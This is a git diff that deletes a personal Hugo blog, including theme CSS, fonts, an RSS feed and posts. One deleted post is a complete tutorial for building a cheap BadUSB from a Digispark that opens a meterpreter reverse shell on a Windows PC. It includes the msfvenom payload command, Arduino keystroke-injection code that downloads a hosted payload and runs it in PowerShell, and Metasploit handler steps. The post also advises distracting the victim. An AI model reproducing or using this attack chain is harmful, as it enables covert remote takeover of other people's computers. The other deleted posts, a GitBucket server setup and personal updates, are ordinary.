odern:before{content:"\f2f7"}.fa-xmpp:before{content:"\f2f9"}.fa-archive-org:before{content:"\f2fc"}.fa-freedombox:before{content:"\f2fd"}.fa-facebook-messenger:before{content:"\f2fe"}.fa-debian:before{content:"\f2ff"}.fa-mastodon-square:before{content:"\f300"}.fa-tipeee:before{content:"\f301"}.fa-react:before{content:"\f302"}.fa-dogmazic:before{content:"\f303"}.fa-zotero:before{content:"\f309"}.fa-nodejs:before{content:"\f308"}.fa-nextcloud:before{content:"\f306"}.fa-nextcloud-square:before{content:"\f307"}.fa-hackaday:before{content:"\f30a"}.fa-laravel:before{content:"\f30b"}.fa-signalapp:before{content:"\f30c"}.fa-gnupg:before{content:"\f30d"}.fa-php:before{content:"\f30e"}.fa-ffmpeg:before{content:"\f30f"}.fa-joplin:before{content:"\f310"}.fa-syncthing:before{content:"\f311"}.fa-inkscape:before{content:"\f312"}.fa-matrix-org:before{content:"\f313"}.fa-pixelfed:before{content:"\f314"}.fa-bootstrap:before{content:"\f315"}.fa-dev-to:before{content:"\f316"}.fa-hashnode:before{content:"\f317"}.fa-jirafeau:before{content:"\f318"}.fa-emby:before{content:"\f319"}.fa-wikidata:before{content:"\f31a"}.fa-gimp:before{content:"\f31b"}.fa-c:before{content:"\f31c"}.fa-digitalocean:before{content:"\f31d"}.fa-att:before{content:"\f31e"}.fa-gitea:before{content:"\f31f"}.fa-file-epub:before{content:"\f321"}.fa-python:before{content:"\f322"}.fa-archlinux:before{content:"\f323"}.fa-pleroma:before{content:"\f324"}.fa-unsplash:before{content:"\f325"}.fa-hackster:before{content:"\f326"}.fa-spell-check:before{content:"\f327"}.fa-moon:before{content:"\f328"}.fa-sun:before{content:"\f329"}.fa-f-droid:before{content:"\f32a"}.fa-biometric:before{content:"\f32b"}.fa-wire:before{content:"\f32c"}.fa-tor-onion:before{content:"\f32e"}.fa-volume-mute:before{content:"\f32f"}.fa-bell-ringing:before{content:"\f32d"}.fa-bell-ringing-o:before{content:"\f330"}.fa-hal:before{content:"\f333"}.fa-jupyter:before{content:"\f335"}.fa-julia:before{content:"\f334"}.fa-classicpress:before{content:"\f331"}.fa-classicpress-circle:before{content:"\f332"}.fa-open-collective:before{content:"\f336"}.fa-orcid:before{content:"\f337"}.fa-researchgate:before{content:"\f338"}.fa-funkwhale:before{content:"\f339"}.fa-askfm:before{content:"\f33a"}.fa-blockstack:before{content:"\f33b"}.fa-boardgamegeek:before{content:"\f33c"}.fa-bunny:before{content:"\f35f"}.fa-buymeacoffee:before{content:"\f33d"}.fa-cc-by:before{content:"\f33e"}.fa-creative-commons-alt:before,.fa-cc-cc:before{content:"\f33f"}.fa-cc-nc-eu:before{content:"\f341"}.fa-cc-nc-jp:before{content:"\f342"}.fa-cc-nc:before{content:"\f340"}.fa-cc-nd:before{content:"\f343"}.fa-cc-pd:before{content:"\f344"}.fa-cc-remix:before{content:"\f345"}.fa-cc-sa:before{content:"\f346"}.fa-cc-share:before{content:"\f347"}.fa-cc-zero:before{content:"\f348"}.fa-conway-hacker:before,.fa-conway-glider:before{content:"\f349"}.fa-csharp:before{content:"\f34a"}.fa-email-bulk:before{content:"\f34b"}.fa-email-bulk-o:before{content:"\f34c"}.fa-gnu:before{content:"\f34d"}.fa-google-play:before{content:"\f34e"}.fa-heroku:before{content:"\f34f"}.fa-hassio:before,.fa-home-assistant:before{content:"\f350"}.fa-java:before{content:"\f351"}.fa-mariadb:before{content:"\f352"}.fa-markdown:before{content:"\f353"}.fa-mysql:before{content:"\f354"}.fa-nordcast:before{content:"\f355"}.fa-plume:before{content:"\f356"}.fa-postgresql:before{content:"\f357"}.fa-sass-alt:before{content:"\f359"}.fa-sass:before{content:"\f358"}.fa-skate:before{content:"\f35a"}.fa-sketchfab:before{content:"\f35b"}.fa-tex:before{content:"\f35c"}.fa-textpattern:before{content:"\f35d"}.fa-unity:before{content:"\f35e"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}*,*:after,*:before{box-sizing:inherit}html{box-sizing:border-box;font-size:62.5%}body{color:#212121;background-color:#fafafa;font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Oxygen-Sans,Ubuntu,Cantarell,helvetica neue,Helvetica,pingfang sc,STXihei,华文细黑,microsoft yahei,微软雅黑,SimSun,宋体,Heiti,黑体,sans-serif;font-size:1.8em;font-weight:400;line-height:1.8em}@media only screen and (max-width:768px){body{font-size:1.6em;line-height:1.6em}}a{font-weight:500;color:#1565c0;text-decoration:none;transition:all .25s ease-in}a:focus,a:hover{text-decoration:underline}p{margin:2rem 0}h1,h2,h3,h4,h5,h6{font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Oxygen-Sans,Ubuntu,Cantarell,helvetica neue,Helvetica,pingfang sc,STXihei,华文细黑,microsoft yahei,微软雅黑,SimSun,宋体,Heiti,黑体,sans-serif;font-weight:600;color:#000;margin:4rem 0 2.5rem}h1:hover .heading-link,h2:hover .heading-link,h3:hover .heading-link,h4:hover .heading-link,h5:hover .heading-link,h6:hover .heading-link{visibility:visible}h1 .heading-link,h2 .heading-link,h3 .heading-link,h4 .heading-link,h5 .heading-link,h6 .heading-link{color:#1565c0;font-weight:inherit;text-decoration:none;font-size:80%;visibility:hidden}h1 .title-link,h2 .title-link,h3 .title-link,h4 .title-link,h5 .title-link,h6 .title-link{color:inherit;font-weight:inherit;text-decoration:none}h1{font-size:3.2rem;line-height:3.6rem}@media only screen and (max-width:768px){h1{font-size:3rem;line-height:3.4rem}}h2{font-size:2.8rem;line-height:3.2rem}@media only screen and (max-width:768px){h2{font-size:2.6rem;line-height:3rem}}h3{font-size:2.4rem;line-height:2.8rem}@media only screen and (max-width:768px){h3{font-size:2.2rem;line-height:2.6rem}}h4{font-size:2.2rem;line-height:2.6rem}@media only screen and (max-width:768px){h4{font-size:2rem;line-height:2.4rem}}h5{font-size:2rem;line-height:2.4rem}@media only screen and (max-width:768px){h5{font-size:1.8rem;line-height:2.2rem}}h6{font-size:1.8rem;line-height:2.2rem}@media only screen and (max-width:768px){h6{font-size:1.6rem;line-height:2rem}}b,strong{font-weight:700}.highlight>div,.highlight>pre{margin:0 0 2rem;padding:1rem;border-radius:1rem}pre{display:block;font-family:SFMono-Regular,Consolas,Liberation Mono,Menlo,monospace;font-size:1.6rem;font-weight:400;line-height:2.6rem;overflow-x:auto;margin:0}pre code{display:inline-block;background-color:inherit;color:inherit}code{font-family:SFMono-Regular,Consolas,Liberation Mono,Menlo,monospace;font-size:1.6rem;font-weight:400;background-color:#e0e0e0;color:#212121;border-radius:.6rem;padding:.3rem .6rem}blockquote{border-left:2px solid #e0e0e0;padding-left:2rem;line-height:2.2rem;font-weight:400;font-style:italic}th,td{padding:1.6rem}table{border-collapse:collapse}table td,table th{border:2px solid #000}table tr:first-child th{border-top:0}table tr:last-child td{border-bottom:0}table tr td:first-child,table tr th:first-child{border-left:0}table tr td:last-child,table tr th:last-child{border-right:0}img{max-width:100%}figure{text-align:center}.preload-transitions *{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important}.wrapper{display:flex;flex-direction:column;min-height:100vh;width:100%}.container{margin:0 auto;max-width:90rem;width:100%;padding-left:2rem;padding-right:2rem}.fab{font-weight:400}.fas{font-weight:700}.float-right{float:right}.float-left{float:left}.fab{font-weight:400}.fas{font-weight:900}img.emoji{height:1em;width:1em;margin:0 .05em 0 .1em;vertical-align:-.1em}.content{flex:1;display:flex;margin-top:1.6rem;margin-bottom:3.2rem}.content article details summary{cursor:pointer}.content article header{margin-top:6.4rem;margin-bottom:3.2rem}.content article header h1{font-size:4.2rem;line-height:4.6rem;margin:0}@media only screen and (max-width:768px){.content article header h1{font-size:4rem;line-height:4.4rem}}.content article footer{margin-top:4rem}.content article footer .see-also{margin:3.2rem 0}.content article footer .see-also h3{margin:3.2rem 0}.content article p{text-align:justify;text-justify:auto;hyphens:auto}.content .post .post-title{margin-bottom:.75em}.content .post .post-meta i{text-align:center;width:1.6rem;margin-left:0;margin-right:.5rem}.content .post .post-meta .date .posted-on{margin-left:0;margin-right:1.5rem}.content .post .post-meta .tags .tag{display:inline-block;padding:.3rem .6rem;background-color:#e0e0e0;border-radius:.6rem;line-height:1.4em}.content .post .post-meta .tags .tag a{color:#212121}.content .post .post-meta .tags .tag a:active{color:#212121}.content figure{margin:0;padding:0}.content figcaption p{text-align:center;font-style:italic;font-size:1.6rem;margin:0}.avatar img{width:20rem;height:auto;border-radius:50%}@media only screen and (max-width:768px){.avatar img{width:10rem}}.list ul{margin:3.2rem 0;list-style:none;padding:0}.list ul li{font-size:1.8rem}@media only screen and (max-width:768px){.list ul li{margin:1.6rem 0}}.list ul li .date{display:inline-block;flex:1;width:20rem;text-align:right;margin-right:3rem}@media only screen and (max-width:768px){.list ul li .date{display:block;text-align:left}}.list ul li .title{font-size:1.8rem;flex:2;color:#212121;font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Oxygen-Sans,Ubuntu,Cantarell,helvetica neue,Helvetica,pingfang sc,STXihei,华文细黑,microsoft yahei,微软雅黑,SimSun,宋体,Heiti,黑体,sans-serif;font-weight:700}.list ul li .title:hover,.list ul li .title:focus{color:#1565c0}@media only screen and (min-width:768.1px){.list ul:not(.pagination) li{display:flex}}.centered{display:flex;align-items:center;justify-content:center}.centered .about{text-align:center}.centered .about h1{margin-top:2rem;margin-bottom:.5rem}.centered .about h2{margin-top:1rem;margin-bottom:.5rem;font-size:2.4rem}@media only screen and (max-width:768px){.centered .about h2{font-size:2rem}}.centered .about ul{list-style:none;margin:3rem 0 1rem;padding:0}.centered .about ul li{display:inline-block;position:relative}.centered .about ul li a{color:#212121;text-transform:uppercase;margin-left:1rem;margin-right:1rem;font-size:1.6rem}.centered .about ul li a:hover,.centered .about ul li a:focus{color:#1565c0}@media only screen and (max-width:768px){.centered .about ul li a{font-size:1.4rem}}.centered .about ul li a i{font-size:3.2rem}.centered .error{text-align:center}.centered .error h1{margin-top:2rem;margin-bottom:.5rem;font-size:4.6rem}@media only screen and (max-width:768px){.centered .error h1{font-size:3.2rem}}.centered .error h2{margin-top:2rem;margin-bottom:3.2rem;font-size:3.2rem}@media only screen and (max-width:768px){.centered .error h2{font-size:2.8rem}}.notice{border-radius:.2rem;position:relative;margin:2rem 0;padding:0 .75rem;overflow:auto}.notice .notice-title{position:relative;font-weight:700;margin:0 -.75rem;padding:.2rem 3.5rem;border-bottom:1px solid #fafafa}.notice .notice-title i{position:absolute;top:50%;left:1.8rem;transform:translate(-50%,-50%)}.notice .notice-content{display:block;margin:2rem}.notice.note{background-color:#7e57c21a}.notice.note .notice-title{background-color:#673ab71a}.notice.note .notice-title i{color:#5e35b1}.notice.tip{background-color:#26a69a1a}.notice.tip .notice-title{background-color:#0096881a}.notice.tip .notice-title i{color:#00897b}.notice.example{background-color:#8d6e631a}.notice.example .notice-title{background-color:#7955481a}.notice.example .notice-title i{color:#6d4c41}.notice.question{background-color:#9ccc651a}.notice.question .notice-title{background-color:#8bc34a1a}.notice.question .notice-title i{color:#7cb342}.notice.info{background-color:#42a5f51a}.notice.info .notice-title{background-color:#2196f31a}.notice.info .notice-title i{color:#1e88e5}.notice.warning{background-color:#ffca281a}.notice.warning .notice-title{background-color:#ffc1071a}.notice.warning .notice-title i{color:#ffb300}.notice.error{background-color:#ef53501a}.notice.error .notice-title{background-color:#f443361a}.notice.error .notice-title i{color:#e53935}.navigation{height:6rem;width:100%}.navigation a,.navigation span{display:inline;font-size:1.7rem;font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Oxygen-Sans,Ubuntu,Cantarell,helvetica neue,Helvetica,pingfang sc,STXihei,华文细黑,microsoft yahei,微软雅黑,SimSun,宋体,Heiti,黑体,sans-serif;font-weight:600;line-height:6rem;color:#212121}.navigation a:hover,.navigation a:focus{color:#1565c0}.navigation .navigation-title{letter-spacing:.1rem;text-transform:uppercase}.navigation .navigation-list{float:right;list-style:none;margin-bottom:0;margin-top:0}@media only screen and (max-width:768px){.navigation .navigation-list{position:absolute;top:6rem;right:0;z-index:5;visibility:hidden;opacity:0;padding:0;max-height:0;width:100%;background-color:#fafafa;border-top:solid 2px #e0e0e0;border-bottom:solid 2px #e0e0e0;transition:opacity .25s,max-height .15s linear}}.navigation .navigation-list .navigation-item{float:left;margin:0;position:relative}@media only screen and (max-width:768px){.navigation .navigation-list .navigation-item{float:none!important;text-align:center}.navigation .navigation-list .navigation-item a,.navigation .navigation-list .navigation-item span{line-height:5rem}}.navigation .navigation-list .navigation-item a,.navigation .navigation-list .navigation-item span{margin-left:1rem;margin-right:1rem}@media only screen and (max-width:768px){.navigation .navigation-list .separator{display:none}}@media only screen and (max-width:768px){.navigation .navigation-list .menu-separator{border-top:2px solid #212121;margin:0 8rem}.navigation .navigation-list .menu-separator span{display:none}}.navigation #dark-mode-toggle{margin:1.7rem 0;font-size:2.4rem;line-height:inherit;bottom:2rem;left:2rem;z-index:100;position:fixed}.navigation #menu-toggle{display:none}@media only screen and (max-width:768px){.navigation #menu-toggle:checked+label>i{color:#e0e0e0}.navigation #menu-toggle:checked+label+ul{visibility:visible;opacity:1;max-height:100rem}}.navigation .menu-button{display:none}@media only screen and (max-width:768px){.navigation .menu-button{display:block;margin:1.8rem 0;font-size:2.4rem;font-weight:400}}.navigation .menu-button i:hover,.navigation .menu-button i:focus{color:#000}.navigation i{color:#212121;cursor:pointer}.navigation i:hover,.navigation i:focus{color:#1565c0}.pagination{margin-top:6rem;text-align:center;font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Oxygen-Sans,Ubuntu,Cantarell,helvetica neue,Helvetica,pingfang sc,STXihei,华文细黑,microsoft yahei,微软雅黑,SimSun,宋体,Heiti,黑体,sans-serif}.pagination li{display:inline;text-align:center;font-weight:700}.pagination li span{margin:0;text-align:center;width:3.2rem}.pagination li a{font-weight:300}.pagination li a span{margin:0;text-align:center;width:3.2rem}.taxonomy li{display:inline-block;margin:.9rem}.taxonomy .taxonomy-element{display:block;padding:.3rem .9rem;background-color:#e0e0e0;border-radius:.6rem}.taxonomy .taxonomy-element a{color:#212121}.taxonomy .taxonomy-element a:active{color:#212121}.footer{width:100%;text-align:center;font-size:1.6rem;line-height:2rem;margin-bottom:1rem}.footer a{color:#1565c0}.float-container{bottom:2rem;right:2rem;z-index:100;position:fixed;font-size:1.6em}.float-container a{position:relative;display:inline-block;width:3rem;height:3rem;font-size:2rem;color:#000;background-color:#e0e0e0;border-radius:.2rem;opacity:50%;transition:all .25s ease-in}.float-container a:hover,.float-container a:focus{color:#1565c0;opacity:100%}@media only screen and (max-width:768px){.float-container a:hover,.float-container a:focus{color:#000;opacity:50%}}.float-container a i{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)} \ No newline at end of file diff --git a/public/fonts/forkawesome-webfont.eot b/public/fonts/forkawesome-webfont.eot deleted file mode 100644 index 3a0a7e1..0000000 Binary files a/public/fonts/forkawesome-webfont.eot and /dev/null differ diff --git a/public/fonts/forkawesome-webfont.svg b/public/fonts/forkawesome-webfont.svg deleted file mode 100644 index a4d9665..0000000 --- a/public/fonts/forkawesome-webfont.svg +++ /dev/null @@ -1,3221 +0,0 @@ - - - - - -Created by FontForge 20200314 at Wed Jun 24 12:50:58 2020 - By Julien Deswaef -The Fork Awesome font is licensed under the SIL OFL 1.1 (http://scripts.sil.org/OFL). Fork Awesome is a fork based of off Font Awesome 4.7.0 by Dave Gandy. More info on licenses at https://forkawesome.github.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/fonts/forkawesome-webfont.ttf b/public/fonts/forkawesome-webfont.ttf deleted file mode 100644 index 1ec6533..0000000 Binary files a/public/fonts/forkawesome-webfont.ttf and /dev/null differ diff --git a/public/fonts/forkawesome-webfont.woff b/public/fonts/forkawesome-webfont.woff deleted file mode 100644 index 288eca9..0000000 Binary files a/public/fonts/forkawesome-webfont.woff and /dev/null differ diff --git a/public/fonts/forkawesome-webfont.woff2 b/public/fonts/forkawesome-webfont.woff2 deleted file mode 100644 index b00cea7..0000000 Binary files a/public/fonts/forkawesome-webfont.woff2 and /dev/null differ diff --git a/public/index.html b/public/index.html deleted file mode 100644 index 5dbd6ae..0000000 --- a/public/index.html +++ /dev/null @@ -1,216 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-
- - -
avatar
- - - -

_N0x

-

» Here be dragons «

- - - -
-
- - -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/index.xml b/public/index.xml deleted file mode 100644 index 6e840ed..0000000 --- a/public/index.xml +++ /dev/null @@ -1,64 +0,0 @@ - - - - n0x.io - https://n0x.io/ - Recent content on n0x.io - Hugo -- gohugo.io - de - Wed, 26 May 2021 11:14:07 +0200 - - Hello World! Again! - https://n0x.io/posts/helloworldagain/ - Wed, 26 May 2021 11:14:07 +0200 - - https://n0x.io/posts/helloworldagain/ - Hello World! Again! Hey there! It’s me again. -It has been some time since I wrote a new article in here so I thought I’d state an update on me. In my first post I talked a little about me. By now some time went by and some things have changed - not that I wrote much about me to begin with. -From full time job to becoming a student I’m now 23 years old and just started my 4th semester at university after deciding that I wanted to study something computer science related. - - - - Git in minutes - https://n0x.io/posts/gitbucket/ - Thu, 02 Jul 2020 00:00:00 +0200 - - https://n0x.io/posts/gitbucket/ - A Git-Server Setup In Minutes Sometimes I wish I had other hobbies then just trying out new stuff I discovered online. -For Some strange reason I felt the need to set up my own git server - because who doesn&rsquo;t need an own server for the two or three projects you keep on github? I looked around and searched for some solutions that would fit my needs. - - - - Digispark Reverse-Shell - https://n0x.io/posts/digispark_reverseshell/ - Sat, 20 Jan 2018 17:03:46 +0100 - - https://n0x.io/posts/digispark_reverseshell/ - Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it. - - - - HelloWorld - https://n0x.io/posts/helloworld/ - Mon, 08 Jan 2018 20:35:40 +0100 - - https://n0x.io/posts/helloworld/ - Hello World! Hello there and welcome on n0x.io! -I&rsquo;m _N0x. I&rsquo;m 20 years old and &ldquo;Fachinformatiker für Anwendungsentwicklung&rdquo;. I live in germany and Love tinkering with PCs and Software. -Thanks for stopping by ;) - - - - About n0x.io - https://n0x.io/about/ - Mon, 01 Jan 0001 00:00:00 +0000 - - https://n0x.io/about/ - Contact me E-Mail: tf[@]n0x.io pgp Twitter: @n0x_io GitLab: n0x_io Build with Hugo This Website is generated with Hugo using the Coder Theme -License Unless noted otherwise all content on this website is protected under Attribution-ShareAlike 4.0 International (CC BY-SA 4.0) -This means you are free to share and adapt the content under the following terms: - Share — copy and redistribute the material in any medium or format Adapt — remix, transform, and build upon the material for any purpose, even commercially. - - - - diff --git a/public/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js b/public/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js deleted file mode 100644 index b307810..0000000 --- a/public/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js +++ /dev/null @@ -1 +0,0 @@ -const body=document.body,darkModeToggle=document.getElementById('dark-mode-toggle'),darkModeMediaQuery=window.matchMedia('(prefers-color-scheme: dark)');localStorage.getItem("colorscheme")?setTheme(localStorage.getItem("colorscheme")):body.classList.contains('colorscheme-light')||body.classList.contains('colorscheme-dark')?setTheme(body.classList.contains("colorscheme-dark")?"dark":"light"):setTheme(darkModeMediaQuery.matches?"dark":"light"),darkModeToggle.addEventListener('click',()=>{setTheme(body.classList.contains("colorscheme-dark")?"light":"dark")}),darkModeMediaQuery.addListener(a=>{setTheme(a.matches?"dark":"light")}),document.addEventListener("DOMContentLoaded",function(){let a=document.querySelector('.preload-transitions');a.classList.remove('preload-transitions')});function setTheme(a){body.classList.remove('colorscheme-auto'),inverse=a==='dark'?'light':'dark',localStorage.setItem('colorscheme',a),body.classList.remove('colorscheme-'+inverse),body.classList.add('colorscheme-'+a)} \ No newline at end of file diff --git a/public/posts/digispark_reverseshell/index.html b/public/posts/digispark_reverseshell/index.html deleted file mode 100644 index 6a57f17..0000000 --- a/public/posts/digispark_reverseshell/index.html +++ /dev/null @@ -1,367 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Digispark Reverse-Shell · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-
-
-
-

- - Digispark Reverse-Shell - -

-
- -
- -
- -

- Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky - - - -

-

Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it. The only problem is the high (but reasonable) price of $45. In this tutorial I will show you how you can use the Digispark USB Deveoplment Board as a cheap alternative. As an example we will be creating a reverse shell, that will be launched when you plug the Digispark into a windows PC.

-

- You will need: - - - -

- -

- Digispark USB Development Board - - - -

-

The Digispark from Digistump is a tiny, programmable micro-controller that can be programmed with the Arduino-IDE. The syntax is very similar to the one of Arduino-Boards. A tutorial on how to set the IDE up for the Digispark can be found here: Connecting and Programming Your Digispark

-

I bought a bunch of Digisparks of eBay for little money. They aren’t original (you can tell from the “rev3” which was never released) but they still are fully functional and perfect for our purposes.

-

For a nice video to set the Digispark up, check out this tutorial by Seytonic

-

- Creating the Payload - - - -

-

First of all we need to create the payload that will be deployed and executed by the Digispark on our target machine. We will use MSFvenom for this.

-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f psh-cmd
-
-

You need to replace the LHOST parameter with you IP address. You also could use your domain and use the reverse shell even outside of your network.

-

Now… here we find the first difficulty. Unlike the Rubber Ducky which can use a SD-card of any size, the Digispark only has 6kb of internal memory and the library we are going to need to use the Digispark as a Keyboard itself has about 2,4kb. So there is no space to place the payload directly on it. -To get our payload on the victim-PC we need to make it accessible on the web. We could use a local web-server, upload the plain payload to pastebin or just place it on our webspace.

-

- Programming The Digispark - - - -

-

After we’ve created the Payload we can start with programming the Digispark! Here we have to keep in mind that to program the Digispark you have to work with a US-Keyboard-Layout, this means you have to account for special characters and such if your keyboard layout is one of foreign origin.

-

The Sourcecode for the Digispark:

-
#include "DigiKeyboard.h"
-
-/*  US-KEYBOARD-LAYOUT ONLY!!
-*
-*  still needs some testing... but should work
-*
-*  Made by _N0x
-*  Thanks to Alex (http://0xdeadcode.se/archives/581) for the idea of using a small powershell payload.
-*/
-
-void setup() {
-// Adding some LED-effects just for fun ;)
-pinMode(1, OUTPUT);
-
-delay(100);
-// WIN+r, delete content, start powershell
-DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // WIN+r
-delay(100);
-DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean it up
-delay(50);
-DigiKeyboard.println("powershell");
-delay(500);
-
-// turn the LED on
-digitalWrite(1, HIGH);
-// $url = '...' --> URL to Payload
-DigiKeyboard.println("$url = 'LINK_TO_HOSTET_PAYLOAD'");
-delay(50);
-
-// $result = Invoke-WebRequest -Uri $url
-DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
-delay(50);
-
-// powershell.exe -nop -e $result.content
-DigiKeyboard.println("powershell.exe -nop -e $result.content");
-
-// turn off the led if the payload is places and executed
-digitalWrite(1, LOW);
-
-delay(1500);
-DigiKeyboard.println("exit");
-}
-
-void loop() {
-// if done with the scripts LED starts blinking
-
-digitalWrite(1, HIGH);
-delay(150);
-
-digitalWrite(1, LOW);
-delay(500);
-
-}
-
-

In principle you can leave the script unchanged and only change the URL for the Payload, so that the Payload you chose can be downloaded. The Digispark should now be ready for use! Before you storm out and try to plug it into the next best USB-Port though, you should prepare Kali Linux so that your Reverse-Shell Session can be accessed directly and as soon as needed.

-

- Preparing MSFconsole - - - -

-

To prepare the receiving-end for the Reverse-Shell, open a Terminal on your Kali Linux system and start MSFconsole by entering

-
root@kali:~# msfconsole
-
-

Then specify what exploit you want to use:

-
msf > use exploit/multi/handler
-
-

Now there are still some parameters we have to determine:

-
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
-payload => windows/meterpreter/reverse_tcp
-msf exploit(handler) > set LHOST 10.0.0.10
-LHOST => 10.0.0.10
-msf exploit(handler) > set LPORT 4444
-LPORT => 4444
-
-

Replace the vlaue of LHOST with the IP/Domain you used when creating the payload with MSFconsole

-

To finish things off we have to tell our Console that it has to wait for a new session:

-
msf exploit(handler) > exploit -z -j
-[*] Exploit running as background job.
-
-[*] Started reverse TCP handler on 10.0.0.10:4444 
-[*] Starting the payload handler...
-
-

Now it’s done! You can search for the next best PC to test your Digispark out! After you plug your Digispark in a Powershell will be opened and then closed, within this timeframe you have to distract your victim, after your USB Dev. Board starts to blink fastly you know your script has been executed and you can unplug the Digispark. If everything went how it should’ve your console should display this:

-
msf exploit(handler) > [*] Sending stage (957487 bytes) to 10.0.0.3
-[*] Meterpreter session 1 opened (10.0.0.10:4444 -> 10.0.0.3:49678) at 2017-02-06 20:25:36 +0100
-
-

At last you have to pin your session, like this:

-
msf exploit(handler) > sessions -i 1
-[*] Starting interaction with 1...
-
-meterpreter > 
-
-

And now: Congratulations! You now have a Reverse-Shell on your victims PC! With the command “help” you can see what you can do now.

-

Have fun, Good luck, Stay safe and don’t let yourself get distracted by people with a Digispark! :D

- -
- - -
- - - - - - -
-
- - -
- -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/posts/gitbucket/index.html b/public/posts/gitbucket/index.html deleted file mode 100644 index 69847a6..0000000 --- a/public/posts/gitbucket/index.html +++ /dev/null @@ -1,297 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Git in minutes · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-
-
-
-

- - Git in minutes - -

-
- -
- -
- -

- A Git-Server Setup In Minutes - - - -

-

Sometimes I wish I had other hobbies then just trying out new stuff I discovered online.

-

For Some strange reason I felt the need to set up my own git server - because who doesn’t need an own server for the two or three projects you keep on github? -I looked around and searched for some solutions that would fit my needs.

-

My requirements were:

-
    -
  • Easy setup
  • -
  • Very Low System requirements for the host
  • -
  • Account management
  • -
  • Private and Public Repos
  • -
  • Open Source
  • -
-

- The Possibilities - - - -

-

There were multiple solutions to choose from.

-

The first one was GitLab Core. GitLab is widely know and a nice alternative to GitHub. But GitLab core does require some more System resources then my current Server has and so I ruled it out. It is good for bigger companies but I just needed something small.

-

Gitea was the next thing I came across. It checks all the boxes: lightweight, simple install, Open Source, etc. I downloaded it but had trouble getting it to run with my current database without exposing my database port to the internet and that is a big No. I don’t want to open any more ports in my firewall then I need to.

-

Here is where GitBucket (not to be confused with ATLASSIANs Bitbucket) came into play. It has similar features as Gitea but I was able to set it up exactly how I wanted to.

-

So now git.n0x.io is a thing!

-

- Setting up GitBucket - - - -

-

- Prerequirements - - - -

-

Just FYI I am running a little Debian 9 vServer so you might need to adapt the commands and changes to your system - which should be self-explanatory ;)

-

GitBucket is mostly written in Scala so we firstly need to install openJDK on our Server to run it.

-
sudo apt update
-sudo apt install openjdk-11-jre
-
-

After installing the JRE I created a user account on which GitBucket should run. This way we make sure that I we do not grant to much privileges to GitBucket - it only gets the minimal things it needs to run

-
sudo adduser --system gitbucket
-
-

The --system parameter creates a systemuser account which mean a user that has no shell so we can’t log into it the normal su way. To login to the new user use the following command:

-
sudo su - gitbucket -s /bin/bash
-
-

With -s /bin/bash we provide a shell to the user so we don’t get logged out immediately.

-

